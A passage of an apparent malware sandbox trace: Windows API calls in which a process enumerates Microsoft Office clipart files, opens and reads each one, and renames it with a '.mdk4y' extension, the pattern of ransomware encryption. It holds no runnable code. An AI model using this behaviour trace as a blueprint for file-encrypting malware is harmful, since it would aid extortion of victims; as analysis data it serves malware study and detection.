Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.634] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1412, lpOverlapped=0x0) returned 1 [0174.648] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00170_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00170_.wmf.mdk4y")) returned 1 [0174.649] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.649] AreFileApisANSI () returned 1 [0174.649] GetACP () returned 0x4e4 [0174.649] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00560_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00560_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.649] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.650] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x50c, lpOverlapped=0x0) returned 1 [0174.656] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00560_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00560_.wmf.mdk4y")) returned 1 [0174.657] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.657] AreFileApisANSI () returned 1 [0174.657] GetACP () returned 0x4e4 [0174.657] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00642_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00642_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.657] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.658] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x778, lpOverlapped=0x0) returned 1 [0174.659] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00642_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00642_.wmf.mdk4y")) returned 1 [0174.660] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.660] AreFileApisANSI () returned 1 [0174.660] GetACP () returned 0x4e4 [0174.660] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00788_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00788_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.660] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.661] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2094, lpOverlapped=0x0) returned 1 [0174.709] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00788_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00788_.wmf.mdk4y")) returned 1 [0174.710] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.710] AreFileApisANSI () returned 1 [0174.710] GetACP () returned 0x4e4 [0174.710] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00792_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00792_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.710] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.711] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2fdc, lpOverlapped=0x0) returned 1 [0174.738] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00792_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00792_.wmf.mdk4y")) returned 1 [0174.739] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.739] AreFileApisANSI () returned 1 [0174.739] GetACP () returned 0x4e4 [0174.739] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00795_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00795_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.739] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.739] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2764, lpOverlapped=0x0) returned 1 [0174.770] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00795_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00795_.wmf.mdk4y")) returned 1 [0174.771] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.771] AreFileApisANSI () returned 1 [0174.771] GetACP () returned 0x4e4 [0174.771] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY00882_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY00882_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.771] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.772] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x9b0, lpOverlapped=0x0) returned 1 [0174.777] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY00882_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy00882_.wmf.mdk4y")) returned 1 [0174.778] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.778] AreFileApisANSI () returned 1 [0174.778] GetACP () returned 0x4e4 [0174.778] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01006_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01006_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.778] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.780] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x634, lpOverlapped=0x0) returned 1 [0174.781] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01006_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01006_.wmf.mdk4y")) returned 1 [0174.782] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.782] AreFileApisANSI () returned 1 [0174.782] GetACP () returned 0x4e4 [0174.782] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01252_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01252_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.782] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.783] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x2734, lpOverlapped=0x0) returned 1 [0174.784] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01252_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01252_.wmf.mdk4y")) returned 1 [0174.786] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.786] AreFileApisANSI () returned 1 [0174.786] GetACP () returned 0x4e4 [0174.786] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01253_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01253_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.786] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.787] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x78a, lpOverlapped=0x0) returned 1 [0174.788] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01253_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01253_.wmf.mdk4y")) returned 1 [0174.789] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.789] AreFileApisANSI () returned 1 [0174.789] GetACP () returned 0x4e4 [0174.789] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01462_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01462_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.789] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.790] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x326, lpOverlapped=0x0) returned 1 [0174.791] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01462_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01462_.wmf.mdk4y")) returned 1 [0174.792] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.792] AreFileApisANSI () returned 1 [0174.792] GetACP () returned 0x4e4 [0174.792] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01491_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01491_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.792] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.793] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x470, lpOverlapped=0x0) returned 1 [0174.832] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01491_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01491_.wmf.mdk4y")) returned 1 [0174.833] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.833] AreFileApisANSI () returned 1 [0174.833] GetACP () returned 0x4e4 [0174.833] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01563_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01563_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.833] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.834] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x13c4, lpOverlapped=0x0) returned 1 [0174.835] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01563_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01563_.wmf.mdk4y")) returned 1 [0174.835] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.835] AreFileApisANSI () returned 1 [0174.835] GetACP () returned 0x4e4 [0174.835] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01572_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01572_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.836] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.836] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xce8, lpOverlapped=0x0) returned 1 [0174.847] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01572_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01572_.wmf.mdk4y")) returned 1 [0174.848] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.848] AreFileApisANSI () returned 1 [0174.848] GetACP () returned 0x4e4 [0174.848] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="SY01590_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="SY01590_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.848] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.848] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x338e, lpOverlapped=0x0) returned 1 [0174.850] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\SY01590_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\sy01590_.wmf.mdk4y")) returned 1 [0174.851] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.851] AreFileApisANSI () returned 1 [0174.851] GetACP () returned 0x4e4 [0174.851] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAIL.WMF", cchWideChar=8, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TAIL.WMF.WMF", lpUsedDefaultChar=0x37df4c) returned 8 [0174.851] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.851] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x8b6, lpOverlapped=0x0) returned 1 [0174.871] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TAIL.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tail.wmf.mdk4y")) returned 1 [0174.872] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.872] AreFileApisANSI () returned 1 [0174.872] GetACP () returned 0x4e4 [0174.872] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00011_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00011_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.872] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.873] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0xbde2, lpOverlapped=0x0) returned 1 [0174.875] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00011_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00011_.wmf.mdk4y")) returned 1 [0174.878] FindNextFileW (in: hFindFile=0x6ab310, lpFindFileData=0x6b7110 | out: lpFindFileData=0x6b7110) returned 1 [0174.878] AreFileApisANSI () returned 1 [0174.883] GetACP () returned 0x4e4 [0174.883] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TN00014_.WMF", cchWideChar=12, lpMultiByteStr=0x6aaeb4, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37df4c | out: lpMultiByteStr="TN00014_.WMF", lpUsedDefaultChar=0x37df4c) returned 12 [0174.883] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xd8 [0174.884] ReadFile (in: hFile=0xd8, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37df4c, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37df4c*=0x1d5e, lpOverlapped=0x0) returned 1 [0174.894] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf"), lpNewFileName="C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\TN00014_.WMF.mdk4y" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\tn00014_.wmf.mdk4y")) returned 1 